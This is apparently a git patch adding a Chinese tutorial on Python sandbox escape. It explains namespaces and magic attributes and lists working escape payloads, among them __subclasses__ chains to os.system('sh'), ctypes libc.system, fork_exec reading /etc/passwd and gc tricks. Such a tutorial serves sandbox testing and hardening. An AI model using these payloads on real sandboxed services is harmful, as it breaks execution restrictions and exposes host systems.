'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip'] +``` +其中有一些函数可以帮助我们逃逸或辅助我们分析 +``` +__import__ 用于导入模块 +__loader__ 通过__loader__.load_module 导入模块 +__sepc__ 通过__spec__.loader.load_module 导入模块 +globals 可以列出全局命名空间下的变量 +locals 列出局部命名空间下的变量 +dir 可以列出对象相关的方法与属性 +eval 可以执行任意代码 +exec 可以执行任意代码 +open 读写文件 +``` +demo: +可以看到在全局与内置空间都存在__spec__变量,而在全局空间中他的值为null,在builtin中则是一个ModuleSpec,我们要怎么拿到builtin中的__spec__呢。 +``` +>>> print(__spec__) +None +>>> del __spec__ # 从全局命名空间中删除此变量 +>>> print(__spec__) # 再次获取则会从内置命名空间中获取 +ModuleSpec(name='builtins', loader=, origin='built-in') +``` +### 模块导入 +除了内置和当前全局命名空间下的变量与函数,我们也可以通过导入模块的方式使用其他模块命名空间下的变量与函数。 +``` +>>> os.system +Traceback (most recent call last): + File "", line 1, in +NameError: name 'os' is not defined +>>> +>>> import os +>>> os.system('id') +uid=1001(opsadmin) gid=1001(admingroup) groups=1001(admingroup),10(wheel) +``` +### 类的继承 +所有的类均继承自Object基类,Python中一切均为对象。 +### 魔法方法及魔法字段 +Object基类的魔法方法及魔法字段 +``` +print(dir(object)) # 列出object基类包含的方法及字段 +['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__'] +``` +其他的类型都会在基类的基础上增加字段和方法。 +builtin_function_or_method类 +``` +print((open.__class__)) # 查看open方法的基类 +print((open.__class__.__mro__)) #查看open方法的继承关系 +print(dir(open)) #查看builtin_function_or_method类的魔法方法及字段 + +(, ) +['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__'] +``` +type类 +``` +print(dir(type)) +['__abstractmethods__', '__base__', '__bases__', '__basicsize__', '__call__', '__class__', '__delattr__', '__dict__', '__dictoffset__', '__dir__', '__doc__', '__eq__', '__flags__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__instancecheck__', '__itemsize__', '__le__', '__lt__', '__module__', '__mro__', '__name__', '__ne__', '__new__', '__prepare__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasscheck__', '__subclasses__', '__subclasshook__', '__text_signature__', '__weakrefoffset__', 'mro'] +``` +function类 +``` +>>> def a():pass #定义函数 +... +>>> print(a.__class__) # 函数类 + +>>> +>>> print(a.__class__.__mro__) #继承链 +(, ) +>>> +>>> print(dir(a)) #函数具备的魔法属性与方法 +['__annotations__', '__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get__', '__getattribute__', '__globals__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__kwdefaults__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__'] +``` +其中一些魔法方法和字段的介绍,在分析Python沙箱逃逸时,这些魔法对我们有比较大的帮助 +``` +__class__ 返回类型 +__mro__ 返回类继承的所有父类 +__subclasses__ 函数获取所有子类 +__bases__ 返回所有直接父类组成的元组 +__init__ 类实例创建之后调用, 对当前对象的实例的一些初始化 +__globals__ 能够返回函数所在模块命名空间的所有变量 +__getattribute__ 当类被调用的时候,无条件进入此函数 ,getattr不可用时替换 +__getattr__ 对象中不存在的属性时调用 +__dir__ 列出所有方法和字段 +__code__ 函数对象的属性,存储了函数的 编译后的字节码 和其他执行相关的元数据 +__dict__ 存放类的静态函数、类函数、普通函数、全局变量以及一些内置的属性 +``` +``` +>>> open.__dir__() +['__repr__', '__hash__', '__call__', '__getattribute__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__reduce__', '__module__', '__doc__', '__name__', '__qualname__', '__self__', '__text_signature__', '__str__', '__setattr__', '__delattr__', '__init__', '__new__', '__reduce_ex__', '__subclasshook__', '__init_subclass__', '__format__', '__sizeof__', '__dir__', '__class__'] +>>> dir(open) +['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__'] +>>> +>>> import os +>>> getattr(os,"system") + +>>> os.__getattribute__("system") + +``` +## 危险操作 +### 执行系统命令 +``` +#os模块 +import os +os.system('ls') +os.popen('ls -l').read() +os.execv +os.execve +#subprocess模块: +import subprocess +subprocess.Popen('ls -l',shell=True) +subprocess.call('ls',shell=True) +#platform模块: +import platform +platform.popen('ls').read() #py 2.x +#pty模块 +import pty +pty.spawn('ls') +pty.os.system('ls') +#commands模块--python2.x +commands.getoutput('ls') +#_posixsubprocess模块,subprocess的底层实现 +import os +import _posixsubprocess +_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False) #3.11,不同版本payload不同 +#posix模块,为os模块在linux下的底层实现 +posix.system('ls') +posix.popen +#nt模块,为os模块在windows下的底层实现 +nt.system('ls') +``` +### 文件操作 +``` +#codecs模块 +import codecs +codecs.open('test.txt').read() +#file()函数 +file('test.txt').read() #python2.x +#open()函数 +open('text.txt').read() #python3.x +``` +### Ctypes +ctypes库可以加载共享库,直接调用调用C语言共享库中的函数。\ +#### ctypes.CDLL +``` +import ctypes +# 加载 C 标准库 +libc = ctypes.CDLL(None) # None 表示使用系统默认的 C 库 +# 调用 system 函数执行 whoami 命令 +command = b"whoami" # 注意:需要转换为 bytes 类型 +result = libc.system(command) +# 输出 system 函数的返回值 +print(f"system 函数返回值: {result}") +``` +#### ctypes.PyDLL +直接调用Python C API 函数 +``` +import ctypes +pydll = ctypes.PyDLL(None) +print(pydll.system(b'whoami')) +``` +#### ctypes.pythonapi +ctypes库初始化时会将一个PyDLL对象存放在pythonapi变量中,也可以用这个变量直接调用Python C API 函数。 +``` +import ctypes +print(ctypes.pythonapi.system(b'whoami')) +``` +#### ctypes.LibraryLoader(ctypes.CDLL).LoadLibrary +``` +import ctypes +ctypes.LibraryLoader(ctypes.CDLL).LoadLibrary('libc.so.6').system(b'whoami') +``` +### 间接引用 + +#### 利用白名单模块间接引入 + +比如cgi模块中引入了os模块,我们导入cgi模块就会间接导入os模块,从而可使用os模块。 + +```python +import cgi +print(cgi.os.system('whoami')) +``` + +#### 利用魔法方法遍历父子类危险函数和信息 + +通过魔法方法可以获得很多其他命名空间下的类 + +```python +print(object.__subclasses__()) +print(().__class__.__base__.__subclasses__()) # __base__获得基础类,__subclasses__()获得所有继承类 + + +[, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] +``` + +比如这里面的os._wrap_close 可以通过__globals__获得其模块下的所有方法 + +```python +>>> print(object.__subclasses__()[133]) + + +>>> print(object.__subclasses__()[133].close) + + +>>> print(object.__subclasses__()[133].close.__globals__) +{'__name__': 'os', '__doc__': ...... 'execlpe': , ..... } + +>>> print(object.__subclasses__()[133].close.__globals__['system']) + +``` + +如果没有os._wrap_close,也可以通过ABC类找到os模块 + +可以看到os模块下存在一个class继承自ABC类,那么我们就可以通过ABC类的__subclasses__()找到os.PathLike,再借助底下的function的__globals__找到os模块的所有函数。 + + + +```python +>>> print(object.__subclasses__()[112]) + +>>> print(object.__subclasses__()[112].__subclasses__()) +[] +>>> print(object.__subclasses__()[112].__subclasses__()[0].__fspath__) + +>>> print(object.__subclasses__()[112].__subclasses__()[0].__fspath__.__globals__['system']) + +``` + +可以通过脚本帮忙查找 + +```python +def find_os_in_subclass_globals(): + results = [] + for subclass in object.__subclasses__(): + # 遍历子类的所有属性 + for attr_name in dir(subclass): + if attr_name in ('__abstractmethods__','__annotations__'): + continue + attr = getattr(subclass, attr_name) + # 只检查可调用的对象(函数/方法) + if callable(attr): + try: + # 获取函数的__globals__属性 + globals_dict = getattr(attr, '__globals__', {}) + if globals_dict and 'os' in globals_dict: + results.append((subclass, attr_name)) + except Exception: + continue + return results + + +found = find_os_in_subclass_globals() +if found: + print("找到包含os模块的函数/方法:") + for class_name, func_name in found: + print(f"类: {class_name}, 方法: {func_name}") +else: + print("未找到包含os模块的函数/方法") +``` + +``` +找到包含os模块的函数/方法: +类: , 方法: __init__ +类: , 方法: match +类: , 方法: find_spec +类: , 方法: frame_file_is_setup +类: , 方法: is_cpython +类: , 方法: pip_imported_during_build +类: , 方法: spec_for_distutils +类: , 方法: spec_for_pip +类: , 方法: spec_for_sensitive_tests +类: , 方法: spec_for_test.test_distutils +类: , 方法: __enter__ +类: , 方法: __exit__ +``` + +列举一些已知的手法 + +```python +# +().__class__.__mro__[1].__subclasses__()[104].load_module("os").system("sh"); + +# +().__class__.__bases__[0].__subclasses__()[118].get_data(".", "/etc/passwd") + +# -> -> +().__class__.__mro__[1].__subclasses__()[111].__subclasses__()[0].__subclasses__()[0]("/etc/passwd").read() + +# +().__class__.__mro__[1].__subclasses__()[137].__init__.__builtins__["__import__"]("os").system("sh") +().__class__.__mro__[1].__subclasses__()[137].__init__.__globals__["system"]("sh") +().__class__.__mro__[1].__subclasses__()[137].close.__globals__["system"]("sh") + +# +().__class__.__mro__[1].__subclasses__()[262](["cat","/etc/passwd"], stdout=-1).communicate()[0] + +# -> +().__class__.__mro__[1].__subclasses__()[129].__class__.register.__builtins__["__import__"]("os").system("sh") + +# +{}.__class__.__subclasses__()[2].copy.__builtins__["__import__"]("os").system("sh") +{}.__class__.__subclasses__()[2].update.__builtins__["__import__"]("os").system("sh") + +# - instance +(_ for _ in ()).gi_frame.f_globals["__loader__"].load_module("os").system("sh") +(_ for _ in ()).gi_frame.f_globals["__builtins__"].__import__("os").system("sh") + +# - instance +(await _ for _ in ()).ag_frame.f_globals["_""_loader_""_"].load_module("os").system("sh") +(await _ for _ in ()).ag_frame.f_globals["_""_builtins_""_"].eval("_""_import_""_('os').system('sh')") +``` + +#### 利用栈帧 + +通过生成器获得调用者的全局命名空间 + +```python +def waff(): + def f(): + yield g + g = f() #生成器 + frame = next(g) + return frame +test = waff() +print(test.f_back.f_globals) +``` + +通过抛出异常获得调用者的全局命名空间 + +```python +try: + raise Exception +except Exception as e: + print(e.__traceback__.tb_frame.f_globals) +``` + +通过sys/inspect获得调用者的全局命名空间 + +```python +import sys +print(sys._getframe(1).f_back.f_globals) + +import inspect +print(inspect.currentframe().f_back.f_globals) +``` + + + +#### gc + +gc模块中提供了多个可以获取相关引用、对象的方法,用这个模块可以很容易找到我们想要的对象。 + +##### gc.get_objects + +返回一个列表,可以获得所有的对象,这里以前30个对象作为示例。 + +```python +import gc +print(gc.get_objects()[:30]) + +"[('.pyc', ), {'_loaders': [('.cpython-39-x86_64-linux-gnu.so', ), ('.abi3.so', ), ('.so', ), ('.py', ), ('.pyc', )], 'path': '/usr/local/lib/python3.9/site-packages/sympy/plotting/backends/textbackend', '_path_mtime': 1739878318.0, '_path_cache': {'text.py', '__init__.py', '__pycache__'}, '_relaxed_path_cache': set()}, set(), {'text.py', '__init__.py', '__pycache__'}, <_frozen_importlib_external.SourceFileLoader object at 0x7f6a9dc615e0>, ModuleSpec(name='sympy.plotting.backends.textbackend.text', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f6a9dc615e0>, origin='/usr/local/lib/python3.9/site-packages/sympy/plotting/backends/textbackend/text.py'), {'name': 'sympy.plotting.backends.textbackend.text', 'loader': <_frozen_importlib_external.SourceFileLoader object at 0x7f6a9dc615e0>, 'origin': '/usr/local/lib/python3.9/site-packages/sympy/plotting/backends/textbackend/text.py', 'loader_state': None, 'submodule_search_locations': None, '_set_fileattr': True, '_cached': '/usr/local/lib/python3.9/site-packages/sympy/plotting/backends/textbackend/__pycache__/text.cpython-39.pyc', '_initializing': False}, , {'__name__': 'sympy.plotting.backends.textbackend.text', '__doc__': None, '__package__': 'sympy.plotting.backends.textbackend', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f6a9dc615e0>, '__spec__': ModuleSpec(name='sympy.plotting.backends.textbackend.text', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f6a9dc615e0>, origin='/usr/local/lib/python3.9/site-packages/sympy/plotting/backends/textbackend/text.py'), '__file__': '/usr/local/lib/python3.9/site-packages/sympy/plotting/backends/textbackend/text.py', '__cached__': '/usr/local/lib/python3.9/site-packages/sympy/plotting/backends/textbackend/__pycache__/text.cpython-39.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': \"Built-in functions, exceptions, and other objects.\\n\\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.\", '__package__': '', '__loader__': , '__spec__': ModuleSpec(name='builtins', loader=, origin='built-in'), '__build_class__': , '__import__': , 'abs': , 'all': , 'any': , 'ascii': , 'bin': , 'breakpoint': , 'callable': , 'chr': , 'compile': , 'delattr': , 'dir': , 'divmod': , 'eval': , 'exec': , 'format': , 'getattr': , 'globals': , 'hasattr': , 'hash': , 'hex': , 'id': , 'input': , 'isinstance': , 'issubclass': , 'iter': , 'len': , 'locals': , 'max': , 'min': , 'next': , 'oct': , 'ord': , 'pow': , 'print': , 'repr': , 'round': , 'setattr': .builtin_setattr_with_checkcode at 0x7f6ab8a58e50>, 'sorted': , 'sum': , 'vars': , 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': , 'memoryview': , 'bytearray': , 'bytes': , 'classmethod': , 'complex': , 'dict': , 'enumerate': , 'filter': , 'float': , 'frozenset': , 'property': , 'int': , 'list': , 'map': , 'object': , 'range': , 'reversed': , 'set': , 'slice': , 'staticmethod': , 'str': , 'super': , 'tuple': , 'type': , 'zip': , '__debug__': True, 'BaseException': , 'Exception': , 'TypeError': , 'StopAsyncIteration': , 'StopIteration': , 'GeneratorExit': , 'SystemExit': , 'KeyboardInterrupt': , 'ImportError': , 'ModuleNotFoundError': , 'OSError': , 'EnvironmentError': , 'IOError': , 'EOFError': , 'RuntimeError': , 'RecursionError': , 'NotImplementedError': , 'NameError': , 'UnboundLocalError': , 'AttributeError': , 'SyntaxError': , 'IndentationError': , 'TabError': , 'LookupError': , 'IndexError': , 'KeyError': , 'ValueError': , 'UnicodeError': , 'UnicodeEncodeError': , 'UnicodeDecodeError': , 'UnicodeTranslateError': , 'AssertionError': , 'ArithmeticError': , 'FloatingPointError': , 'OverflowError': , 'ZeroDivisionError': , 'SystemError': , 'ReferenceError': , 'MemoryError': , 'BufferError': , 'Warning': , 'UserWarning': , 'DeprecationWarning': , 'PendingDeprecationWarning': , 'SyntaxWarning': , 'RuntimeWarning': , 'FutureWarning': , 'ImportWarning': , 'UnicodeWarning': , 'BytesWarning': , 'ResourceWarning': , 'ConnectionError': , 'BlockingIOError': , 'BrokenPipeError': , 'ChildProcessError': , 'ConnectionAbortedError': , 'ConnectionRefusedError': , 'ConnectionResetError': , 'FileExistsError': , 'FileNotFoundError': , 'IsADirectoryError': , 'NotADirectoryError': , 'InterruptedError': , 'PermissionError': , 'ProcessLookupError': , 'TimeoutError': , 'open': , 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2021 Python Software Foundation.\nAll Rights Reserved.\n\nCopyright (c) 2000 BeOpen.com.\nAll Rights Reserved.\n\nCopyright (c) 1995-2001 Corporation for National Research Initiatives.\nAll Rights Reserved.\n\nCopyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.\nAll Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands\n for supporting Python development. See www.python.org for more information., 'license': See https://www.python.org/psf/license/, 'help': Type help() for interactive help, or help(object) for help about object.}, 'base_backend': , 'LineOver1DRangeSeries': , 'textplot': , 'TextBackend': }, (None,), ('super', '__init__'), ('self', 'args', 'kwargs'), ('__class__',), (None, 1, 'The TextBackend supports only one graph per Plot.', 0, 'The TextBackend supports only expressions over a 1D range'), ('base_backend', '_show', 'len', '_series', 'ValueError', 'isinstance', 'LineOver1DRangeSeries', 'textplot', 'expr', 'start', 'end'), ('self', 'ser'), ('self',), <_frozen_importlib_external.SourceFileLoader object at 0x7f6a9dc61820>, ModuleSpec(name='sympy.plotting.textplot', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f6a9dc61820>, origin='/usr/local/lib/python3.9/site-packages/sympy/plotting/textplot.py'), {'name': 'sympy.plotting.textplot', 'loader': <_frozen_importlib_external.SourceFileLoader object at 0x7f6a9dc61820>, 'origin': '/usr/local/lib/python3.9/site-packages/sympy/plotting/textplot.py', 'loader_state': None, 'submodule_search_locations': None, '_set_fileattr': True, '_cached': '/usr/local/lib/python3.9/site-packages/sympy/plotting/__pycache__/textplot.cpython-39.pyc', '_initializing': False}, , {'__name__': 'sympy.plotting.textplot', '__doc__': None, '__package__': 'sympy.plotting', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f6a9dc61820>, '__spec__': ModuleSpec(name='sympy.plotting.textplot', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f6a9dc61820>, origin='/usr/local/lib/python3.9/site-packages/sympy/plotting/textplot.py'), '__file__': '/usr/local/lib/python3.9/site-packages/sympy/plotting/textplot.py', '__cached__': '/usr/local/lib/python3.9/site-packages/sympy/plotting/__pycache__/textplot.cpython-39.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': \"Built-in functions, exceptions, and other objects.\\n\\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.\", '__package__': '', '__loader__': , '__spec__': ModuleSpec(name='builtins', loader=, origin='built-in'), '__build_class__': , '__import__': , 'abs': , 'all': , 'any': , 'ascii': , 'bin': , 'breakpoint': , 'callable': , 'chr': , 'compile': , 'delattr': , 'dir': , 'divmod': , 'eval': , 'exec': , 'format': , 'getattr': , 'globals': , 'hasattr': , 'hash': , 'hex': , 'id': , 'input': , 'isinstance': , 'issubclass': , 'iter': , 'len': , 'locals': , 'max': , 'min': , 'next': , 'oct': , 'ord': , 'pow': , 'print': , 'repr': , 'round': , 'setattr': .builtin_setattr_with_checkcode at 0x7f6ab8a58e50>, 'sorted': , 'sum': , 'vars': , 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': , 'memoryview': , 'bytearray': , 'bytes': , 'classmethod': , 'complex': , 'dict': , 'enumerate': , 'filter': , 'float': , 'frozenset': , 'property': , 'int': , 'list': , 'map': , 'object': , 'range': , 'reversed': , 'set': , 'slice': , 'staticmethod': , 'str': , 'super': , 'tuple': , 'type': , 'zip': , '__debug__': True, 'BaseException': , 'Exception': , 'TypeError': , 'StopAsyncIteration': , 'StopIteration': , 'GeneratorExit': , 'SystemExit': , 'KeyboardInterrupt': , 'ImportError': , 'ModuleNotFoundError': , 'OSError': , 'EnvironmentError': , 'IOError': , 'EOFError': , 'RuntimeError': , 'RecursionError': , 'NotImplementedError': , 'NameError': , 'UnboundLocalError': , 'AttributeError': , 'SyntaxError': , 'IndentationError': , 'TabError': , 'LookupError': , 'IndexError': , 'KeyError': , 'ValueError': , 'UnicodeError': , 'UnicodeEncodeError': , 'UnicodeDecodeError': , 'UnicodeTranslateError': , 'AssertionError': , 'ArithmeticError': , 'FloatingPointError': , 'OverflowError': , 'ZeroDivisionError': , 'SystemError': , 'ReferenceError': , 'MemoryError': , 'BufferError': , 'Warning': , 'UserWarning': , 'DeprecationWarning': , 'PendingDeprecationWarning': , 'SyntaxWarning': , 'RuntimeWarning': , 'FutureWarning': , 'ImportWarning': , 'UnicodeWarning': , 'BytesWarning': , 'ResourceWarning': , 'ConnectionError': , 'BlockingIOError': , 'BrokenPipeError': , 'ChildProcessError': , 'ConnectionAbortedError': , 'ConnectionRefusedError': , 'ConnectionResetError': , 'FileExistsError': , 'FileNotFoundError': , 'IsADirectoryError': , 'NotADirectoryError': , 'InterruptedError': , 'PermissionError': , 'ProcessLookupError': , 'TimeoutError': , 'open': , 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2021 Python Software Foundation.\nAll Rights Reserved.\n\nCopyright (c) 2000 BeOpen.com.\nAll Rights Reserved.\n\nCopyright (c) 1995-2001 Corporation for National Research Initiatives.\nAll Rights Reserved.\n\nCopyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.\nAll Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands\n for supporting Python development. See www.python.org for more information., 'license': See https://www.python.org/psf/license/, 'help': Type help() for interactive help, or help(object) for help about object.}, 'Float': , 'Dummy': , 'lambdify': , 'math': , 'is_valid': , 'rescale': , 'linspace': , 'textplot_str': , 'textplot': }, ('Check if a floating point number is valid', None, False), ('isinstance', 'complex', 'math', 'isinf', 'isnan'), ('x',), ('Rescale the given array `y` to fit into the integer values\\n between `0` and `H-1` for the values between ``mi`` and ``ma``.\\n ', 2, None, 1), ('range', 'is_valid', 'append', 'Float', 'round', 'int'), ('y', 'W', 'H', 'mi', 'ma', 'y_new', 'norm', 'offset', 'x', 'normalized', 'rescaled'), (None, at 0x7f6a9dc6a0e0, file \"/usr/local/lib/python3.9/site-packages/sympy/plotting/textplot.py\", line 41>, 'linspace..'), (1,)]\n" +``` + +##### gc.get_referents + +返回传入对象直接引用的所有对象的列表。(我引用了谁) + +比如.不能使用时可以获取一些东西。 + +```python +from gc import get_referents +import cgi +print((get_referents(cgi)[0]['os'])) +``` + +##### gc.get_referrers + +返回所有直接引用传入对象的对象列表。(谁引用了我) + +比如通过None就能找到非常多的类和方法,里面很容易就可以找到os等危险模块。 + +```python +import gc +print(gc.get_referrers(None)) +``` + + + + + From a00df35d032cfec7fc65fca271400051d5d58b0b Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Tue, 2 Dec 2025 18:01:24 +0800 Subject: [PATCH 25/32] =?UTF-8?q?Update=20Python=E6=B2=99=E7=AE=B1?= =?UTF-8?q?=E9=80=83=E9=80=B8.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...31\347\256\261\351\200\203\351\200\270.md" | 1004 ++++++++++++++++- 1 file changed, 944 insertions(+), 60 deletions(-) diff --git "a/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md" "b/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md" index e41067b..08d908f 100644 --- "a/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md" +++ "b/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md" @@ -1,67 +1,93 @@ -Python沙箱是一种安全机制,用于在受限环境中执行不受信任的Python代码,防止其执行非预期的指令对主机系统造成危害 +## Python沙箱简介 +Python沙箱是一种安全机制,用于在受限环境中执行不受信任的Python代码,防止其执行非预期的指令对主机系统造成危害。 -# Python代码执行流程 -``` + + + + +### Python代码执行流程 + +常见样例 + +```python code="import os;os.system('whoami')" workspace = {} # 创建一个空字典,用于存储执行后的变量 fun = compile(code, 'run_python', 'exec') # 编译代码 exec(fun, workspace) # 在 workspace 中执行编译后的代码 ``` -5d31a4f6e6c749e7b2bdce25e161a8ae + Python代码执行流程先由源代码经过语法分析和词法分析解析为抽象语法树,再将AST编译为Python字节码,最后将Python字节码作为Python虚拟机指令执行。 -# Python沙箱分类 -对于Python沙箱存在多种限制用户执行恶意代码的方法 -## 字符串检查 +### Python沙箱分类 + +对于Python沙箱存在多种限制用户执行恶意代码的方法,下面为实际项目测试中遇到的几种场景。 + +#### 字符串检查 + 对用户的输入,通过字符串黑名单的方式进行限制,如判断不能出现os.system等字样,防护非常弱存在很多逃逸的可能性。 -举例: -某 Python沙箱,分析每一行代码,查看是否开头为import或者from,如果是则从里面切割字符串取出导入的模块,分析是否在白名单中。 -绕过方法很多,随便举例:逻辑缺陷,print('a');import os;os.system('touch /tmp/ccc'),确保了非import 开头因此不会被检查。不同场景还有编码绕过等。 +#### 语法树检查 -## 语法树检查 在代码执行前分析语法树,禁止导入、函数定义等操作,相比纯字符串匹配有一定的加强,可能针对检查的遗漏进行绕过。 -举例: -某产品旧版Python沙箱,将用户提交的代码转换成抽象语法树,然后对函数调用进行分析。 -## 动态Hook +#### 动态Hook + 在Python进程启动时将识别到的危险方法进行替换,为原始函数添加装饰器,实现动态插桩。 -## Python虚拟机修改 + +#### Python虚拟机修改 + CPython层面裁剪功能,将非必要的能力删除,增加代码逻辑限制,尽可能缩减攻击面。 + 去除了os.system、os.popen等危险函数的实现,去除了subprocess、ctype等危险模块的实现,修改取值逻辑不允许获取名称带__的字段等。 -# 沙箱逃逸漏洞挖掘思路与技巧 +## 沙箱逃逸漏洞挖掘思路与技巧 + +### 基本思路 + 常规的思路:测试一下常见的危险函数能否执行,不进一步思考执行失败的原因。 -更好的思路:研究在受限环境中我们可以做的事情,分析清楚沙箱所做的所有限制,思考是否存在方法突破受限环境的限制。 -## 基础知识 -### Python 命名空间 -内置命名空间(built-in namespace), Python 语言内置的命名空间,比如函数名 abs、char 和异常名称 BaseException、Exception 等等。 -全局命名空间(global namespace),模块中定义的命名空间,记录了模块的变量,包括函数、类、其它导入的模块、模块级的变量和常量。 -局部命名空间(local namespace),函数中定义的命名空间,记录了函数的变量,包括函数的参数和局部定义的变量。(类中定义的也是) + +更好的思路:研究在受限环境中**我们可以做的事情**,分析清楚沙箱所做的所有限制,思考是否存在方法**突破受限环境的限制**。 + +### 基础知识 + +#### Python 命名空间 + +- **内置命名空间(built-in namespace**), Python 语言**内置**的命名空间,比如函数名 abs、char 和异常名称 BaseException、Exception 等等。 +- **全局命名空间(global \**namespace\**)**,模块中定义的命名空间,记录了**模块**的变量,包括函数、类、其它导入的模块、模块级的变量和常量。 +- **局部命名空间(local namespace)**,函数中定义的命名空间,记录了**函数**的变量,包括函数的参数和局部定义的变量。(类中定义的也是) 命名空间查找顺序 -假设我们要使用变量 runoob,则 Python 的查找顺序为:局部的命名空间 -> 全局命名空间 -> 内置命名空间。 + +假设我们要使用变量 runoob,则 Python 的查找顺序为:**局部的命名空间 -> 全局命名空间 -> 内置命名空间**。 + 如果找不到变量 runoob,它将放弃查找并引发一个 NameError 异常: -``` + +```python NameError: name 'runoob' is not defined。 ``` + **全局命名空间** + 我们可以通过globals()获取在当前全局命名空间下可以直接访问的变量和函数,如果在这些变量或函数中存在危险能力则可以直接使用。 -``` + +```python >>> print(globals()) {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': } ``` + **内置命名空间** -通过print(dir(__builtins__))获取在内置命名空间下可以获取的变量和函数,它是 Python 解释器默认加载的核心功能集合,可以直接在代码中使用,无需导入任何模块。 +通过print(dir(__builtins__))获取在内置命名空间下可以获取的变量和函数,它是 Python 解释器默认加载的核心功能集合,可以直接在代码中使用,无需导入任何模块。 -``` +```python >>> print(dir(__builtins__)) -['ArithmeticError','AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'WindowsError', 